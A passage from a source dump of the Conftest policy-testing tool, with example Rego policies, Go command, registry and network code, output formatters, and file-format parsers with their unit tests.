not input.metadata.labels.app 7 | msg = "Pods must provide an app label" 8 | } 9 | -------------------------------------------------------------------------------- /examples/vcl/policy/deny.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | deny contains msg if { 5 | acl := input.acl.purge[_] 6 | not acl = "127.0.0.1" 7 | msg := sprintf("acl purge should be 127.0.0.1 got %s", [acl]) 8 | } 9 | 10 | deny contains msg if { 11 | app := input.backend.app 12 | not app.port = "8080" 13 | msg := "default backend port should be 8080" 14 | } 15 | -------------------------------------------------------------------------------- /examples/vcl/varnish.vcl: -------------------------------------------------------------------------------- 1 | 2 | backend app { 3 | .host = "127.0.0.1"; 4 | .port = "8081"; 5 | .connect_timeout = 60s; 6 | .first_byte_timeout = 60s; 7 | .between_bytes_timeout = 60s; 8 | .max_connections = 800; 9 | } 10 | 11 | acl purge { 12 | "127.0.0.1"; 13 | } 14 | -------------------------------------------------------------------------------- /examples/xml/policy/deny.rego: -------------------------------------------------------------------------------- 1 | package main 2 | import rego.v1 3 | 4 | plugin_list := input.project.build.plugins.plugin 5 | 6 | deny contains msg if { 7 | expected_version := "3.6.1" 8 | 9 | some i 10 | plugin_list[i].artifactId == "maven-compiler-plugin" 11 | not plugin_list[i].version = expected_version 12 | msg = sprintf("in %s \n--- maven-plugin must have the version: %s \n", [plugin_list[i], expected_version]) 13 | } 14 | 15 | deny contains msg if { 16 | some i 17 | plugin_list[i].artifactId == "activejdbc-instrumentation" 18 | not plugin_list[i].executions.execution.goals.goal = "instrument" 19 | msg = sprintf( 20 | "in %s \n--- There must be defined 'instrument goal' for activejdbc-instrumentation \n", [plugin_list[i]] 21 | ) 22 | } 23 | 24 | deny contains msg if { 25 | expected_version := "2.18.1" 26 | 27 | some i 28 | plugin_list[i].artifactId == "maven-surefire-plugin" 29 | not plugin_list[i].version = expected_version 30 | msg = sprintf("in %s \n--- Version must be %s for maven-surefire-plugin \n", [plugin_list[i], expected_version]) 31 | } 32 | -------------------------------------------------------------------------------- /internal/commands/document.go: -------------------------------------------------------------------------------- 1 | package commands 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | "path/filepath" 7 | 8 | "github.com/open-policy-agent/conftest/document" 9 | "github.com/spf13/cobra" 10 | ) 11 | 12 | func NewDocumentCommand() *cobra.Command { 13 | cmd := &cobra.Command{ 14 | Use: "doc [path [...]]", 15 | Short: "Generate documentation", 16 | RunE: func(cmd *cobra.Command, dir []string) error { 17 | if len(dir) < 1 { 18 | err := cmd.Usage() 19 | if err != nil { 20 | return fmt.Errorf("usage: %s", err) 21 | } 22 | return fmt.Errorf("missing required arguments") 23 | } 24 | 25 | for _, path := range dir { 26 | fileInfo, err := os.Stat(path) 27 | if err != nil { 28 | return err 29 | } 30 | 31 | if !fileInfo.IsDir() { 32 | return fmt.Errorf("%s is not a directory", path) 33 | } 34 | 35 | // Handle the output destination 36 | outDir, err := cmd.Flags().GetString("outDir") 37 | if err != nil { 38 | return fmt.Errorf("invalid outDir: %s", err) 39 | } 40 | 41 | name := filepath.Base(path) 42 | if name == "." || name == ".." { 43 | name = "policy" 44 | } 45 | 46 | outPath := filepath.Join(outDir, name+".md") 47 | f, err := os.OpenFile(outPath, os.O_CREATE|os.O_RDWR, 0600) 48 | if err != nil { 49 | return fmt.Errorf("opening %s for writing output: %w", outPath, err) 50 | } 51 | defer f.Close() //nolint // CLI is exiting anyway and there's not much we can do. 52 | 53 | template, err := cmd.Flags().GetString("template") 54 | if err != nil { 55 | return fmt.Errorf("invalid template: %s", err) 56 | } 57 | 58 | err = document.GenerateDocument(path, template, f) 59 | if err != nil { 60 | return fmt.Errorf("generating document: %w", err) 61 | } 62 | } 63 | 64 | return nil 65 | }, 66 | } 67 | 68 | cmd.Flags().StringP("outDir", "o", ".", "Path to the output documentation file") 69 | cmd.Flags().StringP("template", "t", "", "Go template for the document generation") 70 | 71 | return cmd 72 | } 73 | -------------------------------------------------------------------------------- /internal/commands/plugin.go: -------------------------------------------------------------------------------- 1 | package commands 2 | 3 | import ( 4 | "context" 5 | 6 | "github.com/spf13/cobra" 7 | ) 8 | 9 | // NewPluginCommand creates a new plugin command 10 | func NewPluginCommand(ctx context.Context) *cobra.Command { 11 | cmd := cobra.Command{ 12 | Use: "plugin", 13 | Short: "Manage conftest plugins", 14 | Long: "This command manages conftest plugins", 15 | } 16 | 17 | cmd.AddCommand(NewPluginInstallCommand(ctx)) 18 | 19 | return &cmd 20 | } 21 | -------------------------------------------------------------------------------- /internal/commands/plugin_install.go: -------------------------------------------------------------------------------- 1 | package commands 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | 7 | "github.com/open-policy-agent/conftest/plugin" 8 | "github.com/spf13/cobra" 9 | ) 10 | 11 | const installDesc = ` 12 | This command installs a plugin from the given path or url 13 | 14 | Several locations are supported by the plugin install command. Under the hood 15 | conftest leverages go-getter (https://github.com/hashicorp/go-getter). 16 | The following protocols are supported for downloading plugins: 17 | 18 | - Local Files 19 | - Git 20 | - HTTP/HTTPS 21 | - Mercurial 22 | - Amazon S3 23 | - Google Cloud GCP 24 | 25 | The location of the plugins is specified by passing a path or URL, e.g.: 26 | 27 | $ conftest plugin install github.com/open-policy-agent/conftest/examples/plugins/kubectl 28 | $ conftest plugin install contrib/plugins/kubectl 29 | 30 | Based on the protocol a different mechanism will be used to download the plugin. 31 | The pull command will also try to infer the protocol based on the URL if the 32 | URL does not contain a protocol. 33 | 34 | The plugins will be installed on disk in ~/.conftest/plugins. 35 | ` 36 | 37 | // NewPluginInstallCommand creates the install plugin subcommand 38 | func NewPluginInstallCommand(ctx context.Context) *cobra.Command { 39 | cmd := cobra.Command{ 40 | Use: "install ", 41 | Short: "Install a plugin from the given path or url", 42 | Long: installDesc, 43 | RunE: func(cmd *cobra.Command, args []string) error { 44 | if len(args) < 1 { 45 | cmd.Usage() //nolint 46 | return fmt.Errorf("missing required arguments") 47 | } 48 | 49 | if err := plugin.Install(ctx, args[0]); err != nil { 50 | return fmt.Errorf("install: %v", err) 51 | } 52 | 53 | return nil 54 | }, 55 | } 56 | 57 | return &cmd 58 | } 59 | -------------------------------------------------------------------------------- /internal/network/network.go: -------------------------------------------------------------------------------- 1 | package network 2 | 3 | import ( 4 | "net" 5 | "strings" 6 | ) 7 | 8 | func Hostname(ref string) string { 9 | ref = strings.TrimPrefix(ref, "oci://") 10 | 11 | colon := strings.Index(ref, ":") 12 | slash := strings.Index(ref, "/") 13 | 14 | cut := colon 15 | if colon == -1 || (colon > slash && slash != -1) { 16 | cut = slash 17 | } 18 | 19 | if cut < 0 { 20 | return ref 21 | } 22 | 23 | return ref[0:cut] 24 | } 25 | 26 | func IsLoopback(host string) bool { 27 | if host == "localhost" || host == "127.0.0.1" || host == "::1" || host == "0:0:0:0:0:0:0:1" { 28 | // fast path 29 | return true 30 | } 31 | 32 | ips, err := net.LookupIP(host) 33 | if err != nil { 34 | return false 35 | } 36 | 37 | for _, ip := range ips { 38 | if ip.IsLoopback() { 39 | return true 40 | } 41 | } 42 | 43 | return false 44 | } 45 | -------------------------------------------------------------------------------- /internal/network/network_test.go: -------------------------------------------------------------------------------- 1 | package network 2 | 3 | import "testing" 4 | 5 | func TestHostname(t *testing.T) { 6 | cases := []struct { 7 | ref string 8 | hostname string 9 | }{ 10 | {ref: "", hostname: ""}, 11 | {ref: "hostname", hostname: "hostname"}, 12 | {ref: "hostname:1234", hostname: "hostname"}, 13 | {ref: "hostname/path", hostname: "hostname"}, 14 | {ref: "hostname:1234/path", hostname: "hostname"}, 15 | {ref: "hostname/path:1234", hostname: "hostname"}, 16 | {ref: "oci://hostname", hostname: "hostname"}, 17 | {ref: "oci://hostname:1234", hostname: "hostname"}, 18 | {ref: "oci://hostname/path", hostname: "hostname"}, 19 | {ref: "oci://hostname:1234/path", hostname: "hostname"}, 20 | {ref: "oci://hostname/path:1234", hostname: "hostname"}, 21 | } 22 | 23 | for _, c := range cases { 24 | t.Run(c.ref, func(t *testing.T) { 25 | got := Hostname(c.ref) 26 | if c.hostname != got { 27 | t.Errorf(`expecting Hostname("%s") == "%s", but it was "%s"`, c.ref, c.hostname, got) 28 | } 29 | }) 30 | } 31 | } 32 | 33 | func TestIsLocalhost(t *testing.T) { 34 | cases := []struct { 35 | host string 36 | local bool 37 | }{ 38 | {host: "", local: false}, 39 | {host: "google.com", local: false}, 40 | {host: "1.1.1.1", local: false}, 41 | {host: "2606:4700:4700::1111", local: false}, 42 | {host: "localhost", local: true}, 43 | {host: "127.0.0.1", local: true}, 44 | {host: "127.0.0.2", local: true}, 45 | {host: "::1", local: true}, 46 | {host: "0:0:0:0:0:0:0:1", local: true}, 47 | } 48 | 49 | for _, c := range cases { 50 | t.Run(c.host, func(t *testing.T) { 51 | got := IsLoopback(c.host) 52 | if c.local != got { 53 | t.Errorf(`expecting IsLocalhost("%s") == %v, but it was %v`, c.host, c.local, got) 54 | } 55 | }) 56 | } 57 | } 58 | -------------------------------------------------------------------------------- /internal/registry/client.go: -------------------------------------------------------------------------------- 1 | package registry 2 | 3 | import ( 4 | "net/http" 5 | 6 | "github.com/open-policy-agent/conftest/internal/network" 7 | "github.com/spf13/viper" 8 | "oras.land/oras-go/v2/registry/remote" 9 | "oras.land/oras-go/v2/registry/remote/auth" 10 | "oras.land/oras-go/v2/registry/remote/credentials" 11 | "oras.land/oras-go/v2/registry/remote/retry" 12 | ) 13 | 14 | func SetupClient(repository *remote.Repository) error { 15 | registry := repository.Reference.Host() 16 | 17 | // If `--tls=false` was provided or accessing the registry via loopback with 18 | // `--tls` flag was not provided 19 | if !viper.GetBool("tls") || (network.IsLoopback(network.Hostname(registry)) && !viper.IsSet("tls")) { 20 | // Docker by default accesses localhost using plaintext HTTP 21 | repository.PlainHTTP = true 22 | } 23 | 24 | httpClient := &http.Client{ 25 | Transport: retry.NewTransport(http.DefaultTransport), 26 | } 27 | 28 | store, err := credentials.NewStoreFromDocker(credentials.StoreOptions{ 29 | AllowPlaintextPut: true, 30 | DetectDefaultNativeStore: true, 31 | }) 32 | if err != nil { 33 | return err 34 | } 35 | 36 | client := &auth.Client{ 37 | Client: httpClient, 38 | Credential: credentials.Credential(store), 39 | Cache: auth.NewCache(), 40 | } 41 | client.SetUserAgent("conftest") 42 | 43 | repository.Client = client 44 | 45 | return nil 46 | } 47 | -------------------------------------------------------------------------------- /internal/registry/config.json: -------------------------------------------------------------------------------- 1 | { 2 | "auths": { 3 | "test.registry.io": { 4 | "auth": "dGVzdDpzdXBlcnNlY3JldA==" 5 | } 6 | } 7 | } 8 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "os" 5 | 6 | "github.com/open-policy-agent/conftest/internal/commands" 7 | ) 8 | 9 | func main() { 10 | if err := commands.NewDefaultCommand().Execute(); err != nil { 11 | os.Exit(1) 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /mkdocs.yml: -------------------------------------------------------------------------------- 1 | site_name: Conftest 2 | theme: 3 | name: "material" 4 | repo_url: https://github.com/open-policy-agent/conftest 5 | nav: 6 | - "Home": "index.md" 7 | - "Options": "options.md" 8 | - "Installation": "install.md" 9 | - "Examples": "examples.md" 10 | - "Exceptions": "exceptions.md" 11 | - "Sharing policies": "sharing.md" 12 | - "Debugging policies": "debug.md" 13 | - "Documenting policies": "documentation.md" 14 | - "Plugins": "plugins.md" 15 | markdown_extensions: 16 | - codehilite 17 | -------------------------------------------------------------------------------- /output/json.go: -------------------------------------------------------------------------------- 1 | package output 2 | 3 | import ( 4 | "bytes" 5 | "encoding/json" 6 | "fmt" 7 | "io" 8 | 9 | "github.com/open-policy-agent/opa/tester" 10 | ) 11 | 12 | // JSON represents an Outputter that outputs 13 | // results in JSON format. 14 | type JSON struct { 15 | Writer io.Writer 16 | } 17 | 18 | // NewJSON creates a new JSON with the given writer. 19 | func NewJSON(w io.Writer) *JSON { 20 | jsonOutput := JSON{ 21 | Writer: w, 22 | } 23 | 24 | return &jsonOutput 25 | } 26 | 27 | // Output outputs the results. 28 | func (j *JSON) Output(results CheckResults) error { 29 | for r := range results { 30 | if results[r].FileName == "-" { 31 | results[r].FileName = "" 32 | } 33 | 34 | results[r].Queries = nil 35 | } 36 | 37 | b, err := json.Marshal(results) 38 | if err != nil { 39 | return fmt.Errorf("marshal json: %w", err) 40 | } 41 | 42 | var out bytes.Buffer 43 | if err := json.Indent(&out, b, "", "\t"); err != nil { 44 | return fmt.Errorf("indent: %w", err) 45 | } 46 | 47 | fmt.Fprintln(j.Writer, out.String()) 48 | return nil 49 | } 50 | 51 | func (j *JSON) Report(_ []*tester.Result, _ string) error { 52 | return fmt.Errorf("report is not supported in JSON output") 53 | } 54 | -------------------------------------------------------------------------------- /output/table.go: -------------------------------------------------------------------------------- 1 | package output 2 | 3 | import ( 4 | "fmt" 5 | "io" 6 | 7 | "github.com/olekukonko/tablewriter" 8 | "github.com/open-policy-agent/opa/tester" 9 | ) 10 | 11 | // Table represents an Outputter that outputs 12 | // results in a tabular format. 13 | type Table struct { 14 | Writer io.Writer 15 | } 16 | 17 | // NewTable creates a new Table with the given writer. 18 | func NewTable(w io.Writer) *Table { 19 | table := Table{ 20 | Writer: w, 21 | } 22 | 23 | return &table 24 | } 25 | 26 | // Output outputs the results. 27 | func (t *Table) Output(checkResults CheckResults) error { 28 | table := tablewriter.NewWriter(t.Writer) 29 | table.SetHeader([]string{"result", "file", "namespace", "message"}) 30 | 31 | var tableData [][]string 32 | for _, checkResult := range checkResults { 33 | for r := 0; r < checkResult.Successes; r++ { 34 | tableData = append(tableData, []string{"success", checkResult.FileName, checkResult.Namespace, "SUCCESS"}) 35 | } 36 | 37 | for _, result := range checkResult.Exceptions { 38 | tableData = append(tableData, []string{"exception", checkResult.FileName, checkResult.Namespace, result.Message}) 39 | } 40 | 41 | for _, result := range checkResult.Warnings { 42 | tableData = append(tableData, []string{"warning", checkResult.FileName, checkResult.Namespace, result.Message}) 43 | } 44 | 45 | for _, result := range checkResult.Skipped { 46 | tableData = append(tableData, []string{"skipped", checkResult.FileName, checkResult.Namespace, result.Message}) 47 | } 48 | 49 | for _, result := range checkResult.Failures { 50 | tableData = append(tableData, []string{"failure", checkResult.FileName, checkResult.Namespace, result.Message}) 51 | } 52 | } 53 | 54 | if len(tableData) > 0 { 55 | table.AppendBulk(tableData) 56 | table.Render() 57 | } 58 | 59 | return nil 60 | } 61 | 62 | func (t *Table) Report(_ []*tester.Result, _ string) error { 63 | return fmt.Errorf("report is not supported in table output") 64 | } 65 | -------------------------------------------------------------------------------- /output/table_test.go: -------------------------------------------------------------------------------- 1 | package output 2 | 3 | import ( 4 | "bytes" 5 | "strings" 6 | "testing" 7 | ) 8 | 9 | func TestTable(t *testing.T) { 10 | tests := []struct { 11 | name string 12 | input CheckResults 13 | expected []string 14 | }{ 15 | { 16 | name: "No warnings or errors", 17 | input: CheckResults{ 18 | { 19 | FileName: "examples/kubernetes/service.yaml", 20 | }, 21 | }, 22 | expected: []string{}, 23 | }, 24 | { 25 | name: "A warning, a failure, a skipped", 26 | input: CheckResults{ 27 | { 28 | FileName: "examples/kubernetes/service.yaml", 29 | Namespace: "namespace", 30 | Warnings: []Result{{Message: "first warning"}}, 31 | Failures: []Result{{Message: "first failure"}}, 32 | Skipped: []Result{{Message: "first skipped"}}, 33 | }, 34 | }, 35 | expected: []string{ 36 | `+---------+----------------------------------+-----------+---------------+`, 37 | `| RESULT | FILE | NAMESPACE | MESSAGE |`, 38 | `+---------+----------------------------------+-----------+---------------+`, 39 | `| warning | examples/kubernetes/service.yaml | namespace | first warning |`, 40 | `| skipped | examples/kubernetes/service.yaml | namespace | first skipped |`, 41 | `| failure | examples/kubernetes/service.yaml | namespace | first failure |`, 42 | `+---------+----------------------------------+-----------+---------------+`, 43 | ``, 44 | }, 45 | }, 46 | } 47 | 48 | for _, tt := range tests { 49 | t.Run(tt.name, func(t *testing.T) { 50 | expected := strings.Join(tt.expected, "\n") 51 | 52 | buf := new(bytes.Buffer) 53 | if err := NewTable(buf).Output(tt.input); err != nil { 54 | t.Fatal("output table:", err) 55 | } 56 | actual := buf.String() 57 | 58 | if expected != actual { 59 | t.Errorf("Unexpected output. expected %v actual %v", expected, actual) 60 | } 61 | }) 62 | } 63 | } 64 | -------------------------------------------------------------------------------- /output/tap.go: -------------------------------------------------------------------------------- 1 | package output 2 | 3 | import ( 4 | "fmt" 5 | "io" 6 | 7 | "github.com/open-policy-agent/opa/tester" 8 | ) 9 | 10 | // TAP represents an Outputter that outputs 11 | // results in TAP format. 12 | type TAP struct { 13 | Writer io.Writer 14 | } 15 | 16 | // NewTAP creates a new TAP with the given writer. 17 | func NewTAP(w io.Writer) *TAP { 18 | tap := TAP{ 19 | Writer: w, 20 | } 21 | 22 | return &tap 23 | } 24 | 25 | // Output outputs the results. 26 | func (t *TAP) Output(checkResults CheckResults) error { 27 | for _, result := range checkResults { 28 | var indicator string 29 | var namespace string 30 | if result.FileName == "-" { 31 | indicator = "-" 32 | } else { 33 | indicator = fmt.Sprintf("- %s", result.FileName) 34 | } 35 | 36 | if result.Namespace == "-" { 37 | namespace = "-" 38 | } else { 39 | namespace = fmt.Sprintf("- %s -", result.Namespace) 40 | } 41 | 42 | totalTests := result.Successes + len(result.Failures) + len(result.Warnings) + len(result.Exceptions) + len(result.Skipped) 43 | if totalTests == 0 { 44 | return nil 45 | } 46 | 47 | counter := 1 48 | fmt.Fprintf(t.Writer, "1..%d\n", totalTests) 49 | 50 | for _, failure := range result.Failures { 51 | fmt.Fprintf(t.Writer, "not ok %v %v %v %v\n", counter, indicator, namespace, failure.Message) 52 | counter++ 53 | } 54 | 55 | if len(result.Warnings) > 0 { 56 | fmt.Fprintln(t.Writer, "# warnings") 57 | for _, warning := range result.Warnings { 58 | fmt.Fprintf(t.Writer, "not ok %v %v %v %v\n", counter, indicator, namespace, warning.Message) 59 | counter++ 60 | } 61 | } 62 | 63 | if len(result.Exceptions) > 0 { 64 | fmt.Fprintln(t.Writer, "# exceptions") 65 | for _, exception := range result.Exceptions { 66 | fmt.Fprintf(t.Writer, "ok %v %v %v %v\n", counter, indicator, namespace, exception.Message) 67 | counter++ 68 | } 69 | } 70 | 71 | if len(result.Skipped) > 0 { 72 | fmt.Fprintln(t.Writer, "# skip") 73 | for _, skipped := range result.Skipped { 74 | fmt.Fprintf(t.Writer, "ok %v %v %v %v\n", counter, indicator, namespace, skipped.Message) 75 | counter++ 76 | } 77 | } 78 | 79 | if result.Successes > 0 { 80 | fmt.Fprintln(t.Writer, "# successes") 81 | for i := 0; i < result.Successes; i++ { 82 | fmt.Fprintf(t.Writer, "ok %v %v %v %v\n", counter, indicator, namespace, "SUCCESS") 83 | counter++ 84 | } 85 | } 86 | } 87 | 88 | return nil 89 | } 90 | 91 | func (t *TAP) Report(_ []*tester.Result, _ string) error { 92 | return fmt.Errorf("report is not supported in TAP output") 93 | } 94 | -------------------------------------------------------------------------------- /output/tap_test.go: -------------------------------------------------------------------------------- 1 | package output 2 | 3 | import ( 4 | "bytes" 5 | "strings" 6 | "testing" 7 | ) 8 | 9 | func TestTAP(t *testing.T) { 10 | tests := []struct { 11 | name string 12 | input CheckResults 13 | expected []string 14 | }{ 15 | { 16 | name: "no warnings or errors", 17 | input: CheckResults{ 18 | { 19 | FileName: "examples/kubernetes/service.yaml", 20 | Namespace: "namespace", 21 | }, 22 | }, 23 | expected: []string{}, 24 | }, 25 | { 26 | name: "records failure and warnings", 27 | input: CheckResults{ 28 | { 29 | FileName: "examples/kubernetes/service.yaml", 30 | Namespace: "namespace", 31 | Warnings: []Result{{Message: "first warning"}}, 32 | Failures: []Result{{Message: "first failure"}}, 33 | }, 34 | }, 35 | expected: []string{ 36 | "1..2", 37 | "not ok 1 - examples/kubernetes/service.yaml - namespace - first failure", 38 | "# warnings", 39 | "not ok 2 - examples/kubernetes/service.yaml - namespace - first warning", 40 | "", 41 | }, 42 | }, 43 | { 44 | name: "mixed failure, warnings and skipped", 45 | input: CheckResults{ 46 | { 47 | FileName: "examples/kubernetes/service.yaml", 48 | Namespace: "namespace", 49 | Failures: []Result{{Message: "first failure"}}, 50 | Skipped: []Result{{Message: "first skipped"}}, 51 | }, 52 | }, 53 | expected: []string{ 54 | "1..2", 55 | "not ok 1 - examples/kubernetes/service.yaml - namespace - first failure", 56 | "# skip", 57 | "ok 2 - examples/kubernetes/service.yaml - namespace - first skipped", 58 | "", 59 | }, 60 | }, 61 | { 62 | name: "handles stdin input", 63 | input: CheckResults{ 64 | { 65 | FileName: "-", 66 | Namespace: "namespace", 67 | Failures: []Result{{Message: "first failure"}}, 68 | }, 69 | }, 70 | expected: []string{ 71 | "1..1", 72 | "not ok 1 - - namespace - first failure", 73 | "", 74 | }, 75 | }, 76 | } 77 | 78 | for _, tt := range tests { 79 | t.Run(tt.name, func(t *testing.T) { 80 | expected := strings.Join(tt.expected, "\n") 81 | 82 | buf := new(bytes.Buffer) 83 | if err := NewTAP(buf).Output(tt.input); err != nil { 84 | t.Fatal("output TAP:", err) 85 | } 86 | 87 | actual := buf.String() 88 | 89 | if expected != actual { 90 | t.Errorf("unexpected output. expected %v actual %v", expected, actual) 91 | } 92 | }) 93 | } 94 | } 95 | -------------------------------------------------------------------------------- /parser/cue/cue.go: -------------------------------------------------------------------------------- 1 | package cue 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | 7 | "cuelang.org/go/cue/cuecontext" 8 | cformat "cuelang.org/go/cue/format" 9 | ) 10 | 11 | // Parser is a CUE parser. 12 | type Parser struct{} 13 | 14 | // Unmarshal unmarshals CUE files. 15 | func (*Parser) Unmarshal(p []byte, v any) error { 16 | out, err := cformat.Source(p) 17 | if err != nil { 18 | return fmt.Errorf("format cue: %w", err) 19 | } 20 | 21 | cueContext := cuecontext.New() 22 | cueBytes := cueContext.CompileBytes(out) 23 | 24 | cueJSON, err := cueBytes.MarshalJSON() 25 | if err != nil { 26 | return fmt.Errorf("marshal json: %w", err) 27 | } 28 | 29 | if err := json.Unmarshal(cueJSON, v); err != nil { 30 | return fmt.Errorf("unmarshal cue json: %w", err) 31 | } 32 | 33 | return nil 34 | } 35 | -------------------------------------------------------------------------------- /parser/cue/cue_test.go: -------------------------------------------------------------------------------- 1 | package cue 2 | 3 | import ( 4 | "testing" 5 | ) 6 | 7 | func TestCueParser(t *testing.T) { 8 | p := `apiVersion: "apps/v1" 9 | kind: "Deployment" 10 | metadata: name: "hello-kubernetes" 11 | spec: { 12 | replicas: 3 13 | selector: matchLabels: app: "hello-kubernetes" 14 | template: { 15 | metadata: labels: app: "hello-kubernetes" 16 | spec: containers: [{ 17 | name: "hello-kubernetes" 18 | image: "paulbouwer/hello-kubernetes:1.5" 19 | ports: [{ 20 | containerPort: 8080 21 | }] 22 | }] 23 | } 24 | }` 25 | 26 | parser := &Parser{} 27 | 28 | var input any 29 | if err := parser.Unmarshal([]byte(p), &input); err != nil { 30 | t.Fatalf("parser should not have thrown an error: %v", err) 31 | } 32 | 33 | if input == nil { 34 | t.Error("There should be information parsed but its nil") 35 | } 36 | 37 | inputMap := input.(map[string]any) 38 | kind := inputMap["kind"] 39 | if kind != "Deployment" { 40 | t.Error("Parsed cuelang file should be a deployment, but was not") 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /parser/cyclonedx/cyclonedx.go: -------------------------------------------------------------------------------- 1 | package cyclonedx 2 | 3 | import ( 4 | "bytes" 5 | "encoding/json" 6 | "encoding/xml" 7 | "fmt" 8 | 9 | "github.com/CycloneDX/cyclonedx-go" 10 | ) 11 | 12 | // Parser is a CycloneDX parser. 13 | type Parser struct{} 14 | 15 | // Unmarshal unmarshals CycloneDX files. 16 | func (*Parser) Unmarshal(p []byte, v any) error { 17 | bomFileFormat := cyclonedx.BOMFileFormatJSON 18 | if !json.Valid(p) { 19 | bomFileFormat = cyclonedx.BOMFileFormatXML 20 | } 21 | bom := new(cyclonedx.BOM) 22 | decoder := cyclonedx.NewBOMDecoder(bytes.NewBuffer(p), bomFileFormat) 23 | if err := decoder.Decode(bom); err != nil { 24 | panic(err) 25 | } 26 | 27 | temp := p 28 | 29 | if bomFileFormat == cyclonedx.BOMFileFormatXML { 30 | var data cyclonedx.BOM 31 | if err := xml.Unmarshal(p, &data); err != nil { 32 | return fmt.Errorf("unmarshaling XML error: %v", err) 33 | } 34 | if d, err := json.Marshal(data); err == nil { 35 | temp = d 36 | } else { 37 | return fmt.Errorf("marshaling JSON error: %v", err) 38 | } 39 | } 40 | 41 | err := json.Unmarshal(temp, v) 42 | if err != nil { 43 | return fmt.Errorf("unmarshaling JSON error: %v", err) 44 | } 45 | 46 | return nil 47 | } 48 | -------------------------------------------------------------------------------- /parser/docker/docker_test.go: -------------------------------------------------------------------------------- 1 | package docker 2 | 3 | import ( 4 | "testing" 5 | ) 6 | 7 | func TestParser_Unmarshal(t *testing.T) { 8 | parser := Parser{} 9 | 10 | sample := `FROM foo 11 | COPY . / 12 | RUN echo hello` 13 | 14 | var input any 15 | if err := parser.Unmarshal([]byte(sample), &input); err != nil { 16 | t.Fatalf("parser should not have thrown an error: %v", err) 17 | } 18 | 19 | if input == nil { 20 | t.Error("there should be information parsed but its nil") 21 | } 22 | 23 | dockerFile := input.([]any)[0] 24 | commands := dockerFile.([]any)[0] 25 | 26 | expected := "from" 27 | actual := commands.(map[string]any)["Cmd"] 28 | 29 | if actual != expected { 30 | t.Errorf("first Docker command should be '%v', was '%v'", expected, actual) 31 | } 32 | } 33 | 34 | func TestParser_Unmarshal_Multistage(t *testing.T) { 35 | parser := Parser{} 36 | 37 | sample := `FROM golang:1.13-alpine as base 38 | COPY go.mod . 39 | COPY go.sum . 40 | RUN go mod download 41 | 42 | COPY . . 43 | 44 | FROM base as builder 45 | RUN go build -o conftest` 46 | 47 | var input any 48 | if err := parser.Unmarshal([]byte(sample), &input); err != nil { 49 | t.Fatalf("parser should not have thrown an error: %v", err) 50 | } 51 | 52 | if input == nil { 53 | t.Error("there should be information parsed but its nil") 54 | } 55 | 56 | dockerFile := input.([]any)[0] 57 | commands := dockerFile.([]any) 58 | 59 | cmd := commands[1] 60 | stage := cmd.(map[string]any)["Stage"].(float64) 61 | if stage != 0 { 62 | t.Errorf("expected command to be in stage 0, not stage: %v", stage) 63 | } 64 | 65 | cmd = commands[6] 66 | stage = cmd.(map[string]any)["Stage"].(float64) 67 | if stage != 1 { 68 | t.Errorf("expected command to be in stage 1, not stage: %v", stage) 69 | } 70 | } 71 | -------------------------------------------------------------------------------- /parser/dotenv/dotenv.go: -------------------------------------------------------------------------------- 1 | package ini 2 | 3 | import ( 4 | "bytes" 5 | "encoding/json" 6 | "fmt" 7 | 8 | "github.com/subosito/gotenv" 9 | ) 10 | 11 | // Parser is an dotenv parser. 12 | type Parser struct{} 13 | 14 | // Unmarshal unmarshals dotenv files. 15 | func (i *Parser) Unmarshal(p []byte, v any) error { 16 | r := bytes.NewReader(p) 17 | cfg, err := gotenv.StrictParse(r) 18 | if err != nil { 19 | return fmt.Errorf("read .env file: %w", err) 20 | } 21 | 22 | j, err := json.Marshal(cfg) 23 | if err != nil { 24 | return fmt.Errorf("marshal dotenv to json: %w", err) 25 | } 26 | 27 | if err := json.Unmarshal(j, v); err != nil { 28 | return fmt.Errorf("unmarshal dotenv json: %w", err) 29 | } 30 | 31 | return nil 32 | } 33 | -------------------------------------------------------------------------------- /parser/dotenv/dotenv_test.go: -------------------------------------------------------------------------------- 1 | package ini 2 | 3 | import ( 4 | "testing" 5 | ) 6 | 7 | func TestDotenvParser(t *testing.T) { 8 | parser := &Parser{} 9 | sample := `MYSQL_HOST_PORT=3307 10 | MYSQL_IT_HOST_PORT=3308 11 | MYSQL_ROOT_PASSWORD=root 12 | MYSQL_DATABASE=root 13 | MYSQL_USER=root 14 | MYSQL_PASSWORD=root` 15 | 16 | var input any 17 | if err := parser.Unmarshal([]byte(sample), &input); err != nil { 18 | t.Fatalf("parser should not have thrown an error: %v", err) 19 | } 20 | 21 | if input == nil { 22 | t.Error("there should be information parsed but its nil") 23 | } 24 | 25 | inputMap := input.(map[string]any) 26 | if len(inputMap) == 0 { 27 | t.Error("there should be at least one item defined in the parsed file, but none found") 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /parser/edn/edn.go: -------------------------------------------------------------------------------- 1 | package edn 2 | 3 | import ( 4 | "fmt" 5 | 6 | "olympos.io/encoding/edn" 7 | ) 8 | 9 | // Parser is an EDN parser. 10 | type Parser struct{} 11 | 12 | // Unmarshal unmarshals EDN encoded files. 13 | func (tp *Parser) Unmarshal(p []byte, v any) error { 14 | var res any 15 | 16 | if err := edn.Unmarshal(p, &res); err != nil { 17 | return fmt.Errorf("unmarshal EDN: %w", err) 18 | } 19 | 20 | *v.(*any) = cleanupMapValue(res) 21 | 22 | return nil 23 | } 24 | 25 | func cleanupInterfaceArray(in []any) []any { 26 | res := make([]any, len(in)) 27 | for i, v := range in { 28 | res[i] = cleanupMapValue(v) 29 | } 30 | return res 31 | } 32 | 33 | func cleanupInterfaceMap(in map[any]any) map[string]any { 34 | res := make(map[string]any) 35 | for k, v := range in { 36 | res[fmt.Sprintf("%v", k)] = cleanupMapValue(v) 37 | } 38 | return res 39 | } 40 | 41 | func cleanupMapValue(v any) any { 42 | switch v := v.(type) { 43 | case []any: 44 | return cleanupInterfaceArray(v) 45 | case map[any]any: 46 | return cleanupInterfaceMap(v) 47 | case string: 48 | return v 49 | default: 50 | return fmt.Sprintf("%v", v) 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /parser/edn/edn_test.go: -------------------------------------------------------------------------------- 1 | package edn_test 2 | 3 | import ( 4 | "reflect" 5 | "testing" 6 | 7 | 